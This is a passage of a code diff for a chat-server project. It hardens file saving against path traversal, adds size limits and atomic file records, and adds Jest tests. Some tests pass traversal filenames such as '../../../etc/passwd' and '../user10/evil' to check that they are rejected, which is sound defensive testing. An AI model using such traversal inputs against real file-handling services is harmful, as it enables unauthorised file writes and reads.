...jest.requireActual('librechat-data-provider'), + mergeFileConfig: jest.fn(() => ({ serverFileSizeLimit: 100 * 1024 * 1024 })), + getEndpointFileConfig: jest.fn(() => ({ + fileSizeLimit: 100 * 1024 * 1024, + supportedMimeTypes: ['*/*'], + })), + fileConfig: { checkType: jest.fn(() => true) }, +})); + +jest.mock('~/models', () => ({ + createFile: jest.fn().mockResolvedValue({}), + getFiles: jest.fn().mockResolvedValue([]), + updateFile: jest.fn(), + claimCodeFile: jest.fn().mockResolvedValue({ file_id: 'mock-uuid', usage: 0 }), +})); + +const mockSaveBuffer = jest.fn().mockResolvedValue('/uploads/user123/mock-uuid__output.csv'); + +jest.mock('~/server/services/Files/strategies', () => ({ + getStrategyFunctions: jest.fn(() => ({ + saveBuffer: mockSaveBuffer, + })), +})); + +jest.mock('~/server/services/Files/permissions', () => ({ + filterFilesByAgentAccess: jest.fn().mockResolvedValue([]), +})); + +jest.mock('~/server/services/Files/images/convert', () => ({ + convertImage: jest.fn(), +})); + +jest.mock('~/server/utils', () => ({ + determineFileType: jest.fn().mockResolvedValue({ mime: 'text/csv' }), +})); + +jest.mock('axios', () => + jest.fn().mockResolvedValue({ + data: Buffer.from('file-content'), + }), +); + +const { createFile } = require('~/models'); +const { processCodeOutput } = require('../process'); + +const baseParams = { + req: { + user: { id: 'user123' }, + config: { + fileStrategy: 'local', + imageOutputType: 'webp', + fileConfig: {}, + }, + }, + id: 'code-file-id', + apiKey: 'test-key', + toolCallId: 'tool-1', + conversationId: 'conv-1', + messageId: 'msg-1', + session_id: 'session-1', +}; + +describe('processCodeOutput path traversal protection', () => { + beforeEach(() => { + jest.clearAllMocks(); + }); + + test('sanitizeFilename is called with the raw artifact name', async () => { + mockSanitizeFilename.mockReturnValueOnce('output.csv'); + await processCodeOutput({ ...baseParams, name: 'output.csv' }); + expect(mockSanitizeFilename).toHaveBeenCalledWith('output.csv'); + }); + + test('sanitized name is used in saveBuffer fileName', async () => { + mockSanitizeFilename.mockReturnValueOnce('sanitized-name.txt'); + await processCodeOutput({ ...baseParams, name: '../../../tmp/poc.txt' }); + + expect(mockSanitizeFilename).toHaveBeenCalledWith('../../../tmp/poc.txt'); + const call = mockSaveBuffer.mock.calls[0][0]; + expect(call.fileName).toBe('mock-uuid__sanitized-name.txt'); + }); + + test('sanitized name is stored as filename in the file record', async () => { + mockSanitizeFilename.mockReturnValueOnce('safe-output.csv'); + await processCodeOutput({ ...baseParams, name: 'unsafe/../../output.csv' }); + + const fileArg = createFile.mock.calls[0][0]; + expect(fileArg.filename).toBe('safe-output.csv'); + }); + + test('sanitized name is used for image file records', async () => { + const { convertImage } = require('~/server/services/Files/images/convert'); + convertImage.mockResolvedValueOnce({ + filepath: '/images/user123/mock-uuid.webp', + bytes: 100, + }); + + mockSanitizeFilename.mockReturnValueOnce('safe-chart.png'); + await processCodeOutput({ ...baseParams, name: '../../../chart.png' }); + + expect(mockSanitizeFilename).toHaveBeenCalledWith('../../../chart.png'); + const fileArg = createFile.mock.calls[0][0]; + expect(fileArg.filename).toBe('safe-chart.png'); + }); +}); diff --git a/api/server/services/Files/Code/process.js b/api/server/services/Files/Code/process.js index 15df6de0d6..e878b00255 100644 --- a/api/server/services/Files/Code/process.js +++ b/api/server/services/Files/Code/process.js @@ -3,30 +3,71 @@ const { v4 } = require('uuid'); const axios = require('axios'); const { logger } = require('@librechat/data-schemas'); const { getCodeBaseURL } = require('@librechat/agents'); -const { logAxiosError, getBasePath } = require('@librechat/api'); +const { logAxiosError, getBasePath, sanitizeFilename } = require('@librechat/api'); const { Tools, + megabyte, + fileConfig, FileContext, FileSources, imageExtRegex, + inferMimeType, EToolResources, + EModelEndpoint, + mergeFileConfig, + getEndpointFileConfig, } = require('librechat-data-provider'); const { filterFilesByAgentAccess } = require('~/server/services/Files/permissions'); +const { createFile, getFiles, updateFile, claimCodeFile } = require('~/models'); const { getStrategyFunctions } = require('~/server/services/Files/strategies'); const { convertImage } = require('~/server/services/Files/images/convert'); -const { createFile, getFiles, updateFile } = require('~/models'); +const { determineFileType } = require('~/server/utils'); /** - * Process OpenAI image files, convert to target format, save and return file metadata. + * Creates a fallback download URL response when file cannot be processed locally. + * Used when: file exceeds size limit, storage strategy unavailable, or download error occurs. + * @param {Object} params - The parameters. + * @param {string} params.name - The filename. + * @param {string} params.session_id - The code execution session ID. + * @param {string} params.id - The file ID from the code environment. + * @param {string} params.conversationId - The current conversation ID. + * @param {string} params.toolCallId - The tool call ID that generated the file. + * @param {string} params.messageId - The current message ID. + * @param {number} params.expiresAt - Expiration timestamp (24 hours from creation). + * @returns {Object} Fallback response with download URL. + */ +const createDownloadFallback = ({ + id, + name, + messageId, + expiresAt, + session_id, + toolCallId, + conversationId, +}) => { + const basePath = getBasePath(); + return { + filename: name, + filepath: `${basePath}/api/files/code/download/${session_id}/${id}`, + expiresAt, + conversationId, + toolCallId, + messageId, + }; +}; + +/** + * Process code execution output files - downloads and saves both images and non-image files. + * All files are saved to local storage with fileIdentifier metadata for code env re-upload. * @param {ServerRequest} params.req - The Express request object. - * @param {string} params.id - The file ID. + * @param {string} params.id - The file ID from the code environment. * @param {string} params.name - The filename. * @param {string} params.apiKey - The code execution API key. * @param {string} params.toolCallId - The tool call ID that generated the file. * @param {string} params.session_id - The code execution session ID. * @param {string} params.conversationId - The current conversation ID. * @param {string} params.messageId - The current message ID. - * @returns {Promise} The file metadata or undefined if an error occurs. + * @returns {Promise} The file metadata or undefined if an error occurs. */ const processCodeOutput = async ({ req, @@ -41,19 +82,15 @@ const processCodeOutput = async ({ const appConfig = req.config; const currentDate = new Date(); const baseURL = getCodeBaseURL(); - const basePath = getBasePath(); - const fileExt = path.extname(name); - if (!fileExt || !imageExtRegex.test(name)) { - return { - filename: name, - filepath: `${basePath}/api/files/code/download/${session_id}/${id}`, - /** Note: expires 24 hours after creation */ - expiresAt: currentDate.getTime() + 86400000, - conversationId, - toolCallId, - messageId, - }; - } + const fileExt = path.extname(name).toLowerCase(); + const isImage = fileExt && imageExtRegex.test(name); + + const mergedFileConfig = mergeFileConfig(appConfig.fileConfig); + const endpointFileConfig = getEndpointFileConfig({ + fileConfig: mergedFileConfig, + endpoint: EModelEndpoint.agents, + }); + const fileSizeLimit = endpointFileConfig.fileSizeLimit ?? mergedFileConfig.serverFileSizeLimit; try { const formattedDate = currentDate.toISOString(); @@ -70,29 +107,155 @@ const processCodeOutput = async ({ const buffer = Buffer.from(response.data, 'binary'); - const file_id = v4(); - const _file = await convertImage(req, buffer, 'high', `${file_id}${fileExt}`); - const file = { - ..._file, - file_id, - usage: 1, + // Enforce file size limit + if (buffer.length > fileSizeLimit) { + logger.warn( + `[processCodeOutput] File "${name}" (${(buffer.length / megabyte).toFixed(2)} MB) exceeds size limit of ${(fileSizeLimit / megabyte).toFixed(2)} MB, falling back to download URL`, + ); + return createDownloadFallback({ + id, + name, + messageId, + toolCallId, + session_id, + conversationId, + expiresAt: currentDate.getTime() + 86400000, + }); + } + + const fileIdentifier = `${session_id}/${id}`; + + /** + * Atomically claim a file_id for this (filename, conversationId, context) tuple. + * Uses $setOnInsert so concurrent calls for the same filename converge on + * a single record instead of creating duplicates (TOCTOU race fix). + */ + const newFileId = v4(); + const claimed = await claimCodeFile({ filename: name, conversationId, + file_id: newFileId, user: req.user.id, - type: `image/${appConfig.imageOutputType}`, - createdAt: formattedDate, + }); + const file_id = claimed.file_id; + const isUpdate = file_id !== newFileId; + + if (isUpdate) { + logger.debug( + `[processCodeOutput] Updating existing file "${name}" (${file_id}) instead of creating duplicate`, + ); + } + + const safeName = sanitizeFilename(name); + if (safeName !== name) { + logger.warn( + `[processCodeOutput] Filename sanitized: "${name}" -> "${safeName}" | conv=${conversationId}`, + ); + } + + if (isImage) { + const usage = isUpdate ? (claimed.usage ?? 0) + 1 : 1; + const _file = await convertImage(req, buffer, 'high', `${file_id}${fileExt}`); + const filepath = usage > 1 ? `${_file.filepath}?v=${Date.now()}` : _file.filepath; + const file = { + ..._file, + filepath, + file_id, + messageId, + usage, + filename: safeName, + conversationId, + user: req.user.id, + type: `image/${appConfig.imageOutputType}`, + createdAt: isUpdate ? claimed.createdAt : formattedDate, + updatedAt: formattedDate, + source: appConfig.fileStrategy, + context: FileContext.execute_code, + metadata: { fileIdentifier }, + }; + await createFile(file, true); + return Object.assign(file, { messageId, toolCallId }); + } + + const { saveBuffer } = getStrategyFunctions(appConfig.fileStrategy); + if (!saveBuffer) { + logger.warn( + `[processCodeOutput] saveBuffer not available for strategy ${appConfig.fileStrategy}, falling back to download URL`, + ); + return createDownloadFallback({ + id, + name, + messageId, + toolCallId, + session_id, + conversationId, + expiresAt: currentDate.getTime() + 86400000, + }); + } + + const detectedType = await determineFileType(buffer, true); + const mimeType = detectedType?.mime || inferMimeType(name, '') || 'application/octet-stream'; + + /** Check MIME type support - for code-generated files, we're lenient but log unsupported types */ + const isSupportedMimeType = fileConfig.checkType( + mimeType, + endpointFileConfig.supportedMimeTypes, + ); + if (!isSupportedMimeType) { + logger.warn( + `[processCodeOutput] File "${name}" has unsupported MIME type "${mimeType}", proceeding with storage but may not be usable as tool resource`, + ); + } + + const fileName = `${file_id}__${safeName}`; + const filepath = await saveBuffer({ + userId: req.user.id, + buffer, + fileName, + basePath: 'uploads', + }); + + const file = { + file_id, + filepath, + messageId, + object: 'file', + filename: safeName, + type: mimeType, + conversationId, + user: req.user.id, + bytes: buffer.length, updatedAt: formattedDate, + metadata: { fileIdentifier }, source: appConfig.fileStrategy, context: FileContext.execute_code, + usage: isUpdate ? (claimed.usage ?? 0) + 1 : 1, + createdAt: isUpdate ? claimed.createdAt : formattedDate, }; - createFile(file, true); - /** Note: `messageId` & `toolCallId` are not part of file DB schema; message object records associated file ID */ + + await createFile(file, true); return Object.assign(file, { messageId, toolCallId }); } catch (error) { + if (error?.message === 'Path traversal detected in filename') { + logger.warn( + `[processCodeOutput] Path traversal blocked for file "${name}" | conv=${conversationId}`, + ); + } logAxiosError({ - message: 'Error downloading code environment file', + message: 'Error downloading/processing code environment file', error, }); + + // Fallback for download errors - return download URL so user can still manually download + return createDownloadFallback({ + id, + name, + messageId, + toolCallId, + session_id, + conversationId, + expiresAt: currentDate.getTime() + 86400000, + }); } }; @@ -204,9 +367,16 @@ const primeFiles = async (options, apiKey) => { if (!toolContext) { toolContext = `- Note: The following files are available in the "${Tools.execute_code}" tool environment:`; } - toolContext += `\n\t- /mnt/data/${file.filename}${ - agentResourceIds.has(file.file_id) ? '' : ' (just attached by user)' - }`; + + let fileSuffix = ''; + if (!agentResourceIds.has(file.file_id)) { + fileSuffix = + file.context === FileContext.execute_code + ? ' (from previous code execution)' + : ' (attached by user)'; + } + + toolContext += `\n\t- /mnt/data/${file.filename}${fileSuffix}`; files.push({ id, session_id, diff --git a/api/server/services/Files/Code/process.spec.js b/api/server/services/Files/Code/process.spec.js new file mode 100644 index 0000000000..b89a6c6307 --- /dev/null +++ b/api/server/services/Files/Code/process.spec.js @@ -0,0 +1,412 @@ +// Configurable file size limit for tests - use a getter so it can be changed per test +const fileSizeLimitConfig = { value: 20 * 1024 * 1024 }; // Default 20MB + +// Mock librechat-data-provider with configurable file size limit +jest.mock('librechat-data-provider', () => { + const actual = jest.requireActual('librechat-data-provider'); + return { + ...actual, + mergeFileConfig: jest.fn((config) => { + const merged = actual.mergeFileConfig(config); + // Override the serverFileSizeLimit with our test value + return { + ...merged, + get serverFileSizeLimit() { + return fileSizeLimitConfig.value; + }, + }; + }), + getEndpointFileConfig: jest.fn((options) => { + const config = actual.getEndpointFileConfig(options); + // Override fileSizeLimit with our test value + return { + ...config, + get fileSizeLimit() { + return fileSizeLimitConfig.value; + }, + }; + }), + }; +}); + +const { FileContext } = require('librechat-data-provider'); + +// Mock uuid +jest.mock('uuid', () => ({ + v4: jest.fn(() => 'mock-uuid-1234'), +})); + +// Mock axios +jest.mock('axios'); +const axios = require('axios'); + +// Mock logger +jest.mock('@librechat/data-schemas', () => ({ + logger: { + warn: jest.fn(), + debug: jest.fn(), + error: jest.fn(), + }, +})); + +// Mock getCodeBaseURL +jest.mock('@librechat/agents', () => ({ + getCodeBaseURL: jest.fn(() => 'https://code-api.example.com'), +})); + +// Mock logAxiosError and getBasePath +jest.mock('@librechat/api', () => ({ + logAxiosError: jest.fn(), + getBasePath: jest.fn(() => ''), + sanitizeFilename: jest.fn((name) => name), +})); + +// Mock models +const mockClaimCodeFile = jest.fn(); +jest.mock('~/models', () => ({ + createFile: jest.fn().mockResolvedValue({}), + getFiles: jest.fn(), + updateFile: jest.fn(), + claimCodeFile: (...args) => mockClaimCodeFile(...args), +})); + +// Mock permissions (must be before process.js import) +jest.mock('~/server/services/Files/permissions', () => ({ + filterFilesByAgentAccess: jest.fn((options) => Promise.resolve(options.files)), +})); + +// Mock strategy functions +jest.mock('~/server/services/Files/strategies', () => ({ + getStrategyFunctions: jest.fn(), +})); + +// Mock convertImage +jest.mock('~/server/services/Files/images/convert', () => ({ + convertImage: jest.fn(), +})); + +// Mock determineFileType +jest.mock('~/server/utils', () => ({ + determineFileType: jest.fn(), +})); + +const { createFile, getFiles } = require('~/models'); +const { getStrategyFunctions } = require('~/server/services/Files/strategies'); +const { convertImage } = require('~/server/services/Files/images/convert'); +const { determineFileType } = require('~/server/utils'); +const { logger } = require('@librechat/data-schemas'); + +// Import after mocks +const { processCodeOutput } = require('./process'); + +describe('Code Process', () => { + const mockReq = { + user: { id: 'user-123' }, + config: { + fileConfig: {}, + fileStrategy: 'local', + imageOutputType: 'webp', + }, + }; + + const baseParams = { + req: mockReq, + id: 'file-id-123', + name: 'test-file.txt', + apiKey: 'test-api-key', + toolCallId: 'tool-call-123', + conversationId: 'conv-123', + messageId: 'msg-123', + session_id: 'session-123', + }; + + beforeEach(() => { + jest.clearAllMocks(); + // Default mock: atomic claim returns a new file record (no existing file) + mockClaimCodeFile.mockResolvedValue({ + file_id: 'mock-uuid-1234', + user: 'user-123', + }); + getFiles.mockResolvedValue(null); + createFile.mockResolvedValue({}); + getStrategyFunctions.mockReturnValue({ + saveBuffer: jest.fn().mockResolvedValue('/uploads/mock-file-path.txt'), + }); + determineFileType.mockResolvedValue({ mime: 'text/plain' }); + }); + + describe('atomic file claim (via processCodeOutput)', () => { + it('should reuse file_id from existing record via atomic claim', async () => { + mockClaimCodeFile.mockResolvedValue({ + file_id: 'existing-file-id', + filename: 'test-file.txt', + usage: 2, + createdAt: '2024-01-01T00:00:00.000Z', + }); + + const smallBuffer = Buffer.alloc(100); + axios.mockResolvedValue({ data: smallBuffer }); + + const result = await processCodeOutput(baseParams); + + expect(mockClaimCodeFile).toHaveBeenCalledWith({ + filename: 'test-file.txt', + conversationId: 'conv-123', + file_id: 'mock-uuid-1234', + user: 'user-123', + }); + + expect(result.file_id).toBe('existing-file-id'); + expect(result.usage).toBe(3); + expect(result.createdAt).toBe('2024-01-01T00:00:00.000Z'); + }); + + it('should create new file when no existing file found', async () => { + mockClaimCodeFile.mockResolvedValue({ + file_id: 'mock-uuid-1234', + user: 'user-123', + }); + + const smallBuffer = Buffer.alloc(100); + axios.mockResolvedValue({ data: smallBuffer }); + + const result = await processCodeOutput(baseParams); + + expect(result.file_id).toBe('mock-uuid-1234'); + expect(result.usage).toBe(1); + }); + }); + + describe('processCodeOutput', () => { + describe('image file processing', () => { + it('should process image files using convertImage', async () => { + const imageParams = { ...baseParams, name: 'chart.png' }; + const imageBuffer = Buffer.alloc(500); + axios.mockResolvedValue({ data: imageBuffer }); + + const convertedFile = { + filepath: '/uploads/converted-image.webp', + bytes: 400, + }; + convertImage.mockResolvedValue(convertedFile); + + const result = await processCodeOutput(imageParams); + + expect(convertImage).toHaveBeenCalledWith( + mockReq, + imageBuffer, + 'high', + 'mock-uuid-1234.png', + ); + expect(result.type).toBe('image/webp'); + expect(result.context).toBe(FileContext.execute_code); + expect(result.filename).toBe('chart.png'); + }); + + it('should update existing image file with cache-busted filepath', async () => { + const imageParams = { ...baseParams, name: 'chart.png' }; + mockClaimCodeFile.mockResolvedValue({ + file_id: 'existing-img-id', + usage: 1, + createdAt: '2024-01-01T00:00:00.000Z', + }); + + const imageBuffer = Buffer.alloc(500); + axios.mockResolvedValue({ data: imageBuffer }); + convertImage.mockResolvedValue({ filepath: '/images/user-123/existing-img-id.webp' }); + + const result = await processCodeOutput(imageParams); + + expect(convertImage).toHaveBeenCalledWith( + mockReq, + imageBuffer, + 'high', + 'existing-img-id.png', + ); + expect(result.file_id).toBe('existing-img-id'); + expect(result.usage).toBe(2); + expect(result.filepath).toMatch(/^\/images\/user-123\/existing-img-id\.webp\?v=\d+$/); + expect(logger.debug).toHaveBeenCalledWith( + expect.stringContaining('Updating existing file'), + ); + }); + }); + + describe('non-image file processing', () => { + it('should process non-image files using saveBuffer', async () => { + const smallBuffer = Buffer.alloc(100); + axios.mockResolvedValue({ data: smallBuffer }); + + const mockSaveBuffer = jest.fn().mockResolvedValue('/uploads/saved-file.txt'); + getStrategyFunctions.mockReturnValue({ saveBuffer: mockSaveBuffer }); + determineFileType.mockResolvedValue({ mime: 'text/plain' }); + + const result = await processCodeOutput(baseParams); + + expect(mockSaveBuffer).toHaveBeenCalledWith({ + userId: 'user-123', + buffer: smallBuffer, + fileName: 'mock-uuid-1234__test-file.txt', + basePath: 'uploads', + }); + expect(result.type).toBe('text/plain'); + expect(result.filepath).toBe('/uploads/saved-file.txt'); + expect(result.bytes).toBe(100); + }); + + it('should detect MIME type from buffer', async () => { + const smallBuffer = Buffer.alloc(100); + axios.mockResolvedValue({ data: smallBuffer }); + determineFileType.mockResolvedValue({ mime: 'application/pdf' }); + + const result = await processCodeOutput({ ...baseParams, name: 'document.pdf' }); + + expect(determineFileType).toHaveBeenCalledWith(smallBuffer, true); + expect(result.type).toBe('application/pdf'); + }); + + it('should fallback to application/octet-stream for unknown types', async () => { + const smallBuffer = Buffer.alloc(100); + axios.mockResolvedValue({ data: smallBuffer }); + determineFileType.mockResolvedValue(null); + + const result = await processCodeOutput({ ...baseParams, name: 'unknown.xyz' }); + + expect(result.type).toBe('application/octet-stream'); + }); + }); + + describe('file size limit enforcement', () => { + it('should fallback to download URL when file exceeds size limit', async () => { + // Set a small file size limit for this test + fileSizeLimitConfig.value = 1000; // 1KB limit + + const largeBuffer = Buffer.alloc(5000); // 5KB - exceeds 1KB limit + axios.mockResolvedValue({ data: largeBuffer }); + + const result = await processCodeOutput(baseParams); + + expect(logger.warn).toHaveBeenCalledWith(expect.stringContaining('exceeds size limit')); + expect(result.filepath).toContain('/api/files/code/download/session-123/file-id-123'); + expect(result.expiresAt).toBeDefined(); + // Should not call createFile for oversized files (fallback path) + expect(createFile).not.toHaveBeenCalled(); + + // Reset to default for other tests + fileSizeLimitConfig.value = 20 * 1024 * 1024; + }); + }); + + describe('fallback behavior', () => { + it('should fallback to download URL when saveBuffer is not available', async () => { + const smallBuffer = Buffer.alloc(100); + axios.mockResolvedValue({ data: smallBuffer }); + getStrategyFunctions.mockReturnValue({ saveBuffer: null }); + + const result = await processCodeOutput(baseParams); + + expect(logger.warn).toHaveBeenCalledWith( + expect.stringContaining('saveBuffer not available'), + ); + expect(result.filepath).toContain('/api/files/code/download/'); + expect(result.filename).toBe('test-file.txt'); + }); + + it('should fallback to download URL on axios error', async () => { + axios.mockRejectedValue(new Error('Network error')); + + const result = await processCodeOutput(baseParams); + + expect(result.filepath).toContain('/api/files/code/download/session-123/file-id-123'); + expect(result.conversationId).toBe('conv-123'); + expect(result.messageId).toBe('msg-123'); + expect(result.toolCallId).toBe('tool-call-123'); + }); + }); + + describe('usage counter increment', () => { + it('should set usage to 1 for new files', async () => { + const smallBuffer = Buffer.alloc(100); + axios.mockResolvedValue({ data: smallBuffer }); + + const result = await processCodeOutput(baseParams); + + expect(result.usage).toBe(1); + }); + + it('should increment usage for existing files', async () => { + mockClaimCodeFile.mockResolvedValue({ + file_id: 'existing-id', + usage: 5, + createdAt: '2024-01-01', + }); + const smallBuffer = Buffer.alloc(100); + axios.mockResolvedValue({ data: smallBuffer }); + + const result = await processCodeOutput(baseParams); + + expect(result.usage).toBe(6); + }); + + it('should handle existing file with undefined usage', async () => { + mockClaimCodeFile.mockResolvedValue({ + file_id: 'existing-id', + createdAt: '2024-01-01', + }); + const smallBuffer = Buffer.alloc(100); + axios.mockResolvedValue({ data: smallBuffer }); + + const result = await processCodeOutput(baseParams); + + expect(result.usage).toBe(1); + }); + }); + + describe('metadata and file properties', () => { + it('should include fileIdentifier in metadata', async () => { + const smallBuffer = Buffer.alloc(100); + axios.mockResolvedValue({ data: smallBuffer }); + + const result = await processCodeOutput(baseParams); + + expect(result.metadata).toEqual({ + fileIdentifier: 'session-123/file-id-123', + }); + }); + + it('should set correct context for code-generated files', async () => { + const smallBuffer = Buffer.alloc(100); + axios.mockResolvedValue({ data: smallBuffer }); + + const result = await processCodeOutput(baseParams); + + expect(result.context).toBe(FileContext.execute_code); + }); + + it('should include toolCallId and messageId in result', async () => { + const smallBuffer = Buffer.alloc(100); + axios.mockResolvedValue({ data: smallBuffer }); + + const result = await processCodeOutput(baseParams); + + expect(result.toolCallId).toBe('tool-call-123'); + expect(result.messageId).toBe('msg-123'); + }); + + it('should call createFile with upsert enabled', async () => { + const smallBuffer = Buffer.alloc(100); + axios.mockResolvedValue({ data: smallBuffer }); + + await processCodeOutput(baseParams); + + expect(createFile).toHaveBeenCalledWith( + expect.objectContaining({ + file_id: 'mock-uuid-1234', + context: FileContext.execute_code, + }), + true, // upsert flag + ); + }); + }); + }); +}); diff --git a/api/server/services/Files/Firebase/crud.js b/api/server/services/Files/Firebase/crud.js index 170df45677..d5e5a409bf 100644 --- a/api/server/services/Files/Firebase/crud.js +++ b/api/server/services/Files/Firebase/crud.js @@ -3,7 +3,7 @@ const path = require('path'); const axios = require('axios'); const fetch = require('node-fetch'); const { logger } = require('@librechat/data-schemas'); -const { getFirebaseStorage } = require('@librechat/api'); +const { getFirebaseStorage, deleteRagFile } = require('@librechat/api'); const { ref, uploadBytes, getDownloadURL, deleteObject } = require('firebase/storage'); const { getBufferMetadata } = require('~/server/utils'); @@ -167,27 +167,7 @@ function extractFirebaseFilePath(urlString) { * Throws an error if there is an issue with deletion. */ const deleteFirebaseFile = async (req, file) => { - if (file.embedded && process.env.RAG_API_URL) { - const jwtToken = req.headers.authorization.split(' ')[1]; - try { - await axios.delete(`${process.env.RAG_API_URL}/documents`, { - headers: { - Authorization: `Bearer ${jwtToken}`, - 'Content-Type': 'application/json', - accept: 'application/json', - }, - data: [file.file_id], - }); - } catch (error) { - if (error.response?.status === 404) { - logger.warn( - `[deleteFirebaseFile] Document ${file.file_id} not found in RAG API, may have been deleted already`, - ); - } else { - logger.error('[deleteFirebaseFile] Error deleting document from RAG API:', error); - } - } - } + await deleteRagFile({ userId: req.user.id, file }); const fileName = extractFirebaseFilePath(file.filepath); if (!fileName.includes(req.user.id)) { diff --git a/api/server/services/Files/Local/__tests__/crud-traversal.spec.js b/api/server/services/Files/Local/__tests__/crud-traversal.spec.js new file mode 100644 index 0000000000..57ba221d68 --- /dev/null +++ b/api/server/services/Files/Local/__tests__/crud-traversal.spec.js @@ -0,0 +1,69 @@ +jest.mock('@librechat/api', () => ({ deleteRagFile: jest.fn() })); +jest.mock('@librechat/data-schemas', () => ({ + logger: { warn: jest.fn(), error: jest.fn() }, +})); + +const mockTmpBase = require('fs').mkdtempSync( + require('path').join(require('os').tmpdir(), 'crud-traversal-'), +); + +jest.mock('~/config/paths', () => { + const path = require('path'); + return { + publicPath: path.join(mockTmpBase, 'public'), + uploads: path.join(mockTmpBase, 'uploads'), + }; +}); + +const fs = require('fs'); +const path = require('path'); +const { saveLocalBuffer } = require('../crud'); + +describe('saveLocalBuffer path containment', () => { + beforeAll(() => { + fs.mkdirSync(path.join(mockTmpBase, 'public', 'images'), { recursive: true }); + fs.mkdirSync(path.join(mockTmpBase, 'uploads'), { recursive: true }); + }); + + afterAll(() => { + fs.rmSync(mockTmpBase, { recursive: true, force: true }); + }); + + test('rejects filenames with path traversal sequences', async () => { + await expect( + saveLocalBuffer({ + userId: 'user1', + buffer: Buffer.from('malicious'), + fileName: '../../../etc/passwd', + basePath: 'uploads', + }), + ).rejects.toThrow('Path traversal detected in filename'); + }); + + test('rejects prefix-collision traversal (startsWith bypass)', async () => { + fs.mkdirSync(path.join(mockTmpBase, 'uploads', 'user10'), { recursive: true }); + await expect( + saveLocalBuffer({ + userId: 'user1', + buffer: Buffer.from('malicious'), + fileName: '../user10/evil', + basePath: 'uploads', + }), + ).rejects.toThrow('Path traversal detected in filename'); + }); + + test('allows normal filenames', async () => { + const result = await saveLocalBuffer({ + userId: 'user1', + buffer: Buffer.from('safe content'), + fileName: 'file-id__output.csv', + basePath: 'uploads', + }); + + expect(result).toBe('/uploads/user1/file-id__output.csv'); + + const filePath = path.join(mockTmpBase, 'uploads', 'user1', 'file-id__output.csv'); + expect(fs.existsSync(filePath)).toBe(true); + fs.unlinkSync(filePath); + }); +}); diff --git a/api/server/services/Files/Local/crud.js b/api/server/services/Files/Local/crud.js index db553f57dd..c86774d472 100644 --- a/api/server/services/Files/Local/crud.js +++ b/api/server/services/Files/Local/crud.js @@ -1,9 +1,9 @@ const fs = require('fs'); const path = require('path'); const axios = require('axios'); +const { deleteRagFile } = require('@librechat/api'); const { logger } = require('@librechat/data-schemas'); const { EModelEndpoint } = require('librechat-data-provider'); -const { generateShortLivedToken } = require('@librechat/api'); const { resizeImageBuffer } = require('~/server/services/Files/images/resize'); const { getBufferMetadata } = require('~/server/utils'); const paths = require('~/config/paths'); @@ -67,13 +67,24 @@ async function saveLocalBuffer({ userId, buffer, fileName, basePath = 'images' } try { const { publicPath, uploads } = paths; - const directoryPath = path.join(basePath === 'images' ? publicPath : uploads, basePath, userId); + /** + * For 'images': save to publicPath/images/userId (images are served statically) + * For 'uploads': save to uploads/userId (files downloaded via API) + * */ + const directoryPath = + basePath === 'images' ? path.join(publicPath, basePath, userId) : path.join(uploads, userId); if (!fs.existsSync(directoryPath)) { fs.mkdirSync(directoryPath, { recursive: true }); } - fs.writeFileSync(path.join(directoryPath, fileName), buffer); + const resolvedDir = path.resolve(directoryPath); + const resolvedPath = path.resolve(resolvedDir, fileName); + const rel = path.relative(resolvedDir, resolvedPath); + if (rel.startsWith('..') || path.isAbsolute(rel) || rel.includes(`..${path.sep}`)) { + throw new Error('Path traversal detected in filename'); + } + fs.writeFileSync(resolvedPath, buffer); const filePath = path.posix.join('/', basePath, userId, fileName); @@ -160,9 +171,8 @@ async function getLocalFileURL({ fileName, basePath = 'images' }) { } /** - * Validates if a given filepath is within a specified subdirectory under a base path. This function constructs - * the expected base path using the base, subfolder, and user id from the request, and then checks if the - * provided filepath starts with this constructed base path. + * Validates that a filepath is strictly contained within a subdirectory under a base path, + * using path.relative to prevent prefix-collision bypasses. * * @param {ServerRequest} req - The request object from Express. It should contain a `user` property with an `id`. * @param {string} base - The base directory path. @@ -175,7 +185,8 @@ async function getLocalFileURL({ fileName, basePath = 'images' }) { const isValidPath = (req, base, subfolder, filepath) => { const normalizedBase = path.resolve(base, subfolder, req.user.id); const normalizedFilepath = path.resolve(filepath); - return normalizedFilepath.startsWith(normalizedBase); + const rel = path.relative(normalizedBase, normalizedFilepath); + return !rel.startsWith('..') && !path.isAbsolute(rel) && !rel.includes(`..${path.sep}`); }; /** @@ -208,27 +219,7 @@ const deleteLocalFile = async (req, file) => { /** Filepath stripped of query parameters (e.g., ?manual=true) */ const cleanFilepath = file.filepath.split('?')[0]; - if (file.embedded && process.env.RAG_API_URL) { - const jwtToken = generateShortLivedToken(req.user.id); - try { - await axios.delete(`${process.env.RAG_API_URL}/documents`, { - headers: { - Authorization: `Bearer ${jwtToken}`, - 'Content-Type': 'application/json', - accept: 'application/json', - }, - data: [file.file_id], - }); - } catch (error) { - if (error.response?.status === 404) { - logger.warn( - `[deleteLocalFile] Document ${file.file_id} not found in RAG API, may have been deleted already`, - ); - } else { - logger.error('[deleteLocalFile] Error deleting document from RAG API:', error); - } - } - } + await deleteRagFile({ userId: req.user.id, file }); if (cleanFilepath.startsWith(`/uploads/${req.user.id}`)) { const userUploadDir = path.join(uploads, req.user.id); diff --git a/api/server/services/Files/S3/crud.js b/api/server/services/Files/S3/crud.js index 8dac767aa2..c821c0696c 100644 --- a/api/server/services/Files/S3/crud.js +++ b/api/server/services/Files/S3/crud.js @@ -1,9 +1,9 @@ const fs = require('fs'); const fetch = require('node-fetch'); -const { initializeS3 } = require('@librechat/api'); const { logger } = require('@librechat/data-schemas'); const { FileSources } = require('librechat-data-provider'); const { getSignedUrl } = require('@aws-sdk/s3-request-presigner'); +const { initializeS3, deleteRagFile, isEnabled } = require('@librechat/api'); const { PutObjectCommand, GetObjectCommand, @@ -13,6 +13,8 @@ const { const bucketName = process.env.AWS_BUCKET_NAME; const defaultBasePath = 'images'; +const endpoint = process.env.AWS_ENDPOINT_URL; +const forcePathStyle = isEnabled(process.env.AWS_FORCE_PATH_STYLE); let s3UrlExpirySeconds = 2 * 60; // 2 minutes let s3RefreshExpiryMs = null; @@ -142,6 +144,8 @@ async function saveURLToS3({ userId, URL, fileName, basePath = defaultBasePath } * @returns {Promise} */ async function deleteFileFromS3(req, file) { + await deleteRagFile({ userId: req.user.id, file }); + const key = extractKeyFromS3Url(file.filepath); const params = { Bucket: bucketName, Key: key }; if (!key.includes(req.user.id)) { @@ -250,15 +254,83 @@ function extractKeyFromS3Url(fileUrlOrKey) { try { const url = new URL(fileUrlOrKey); - return url.pathname.substring(1); + const hostname = url.hostname; + const pathname = url.pathname.substring(1); // Remove leading slash + + // Explicit path-style with custom endpoint: use endpoint pathname for precise key extraction. + // 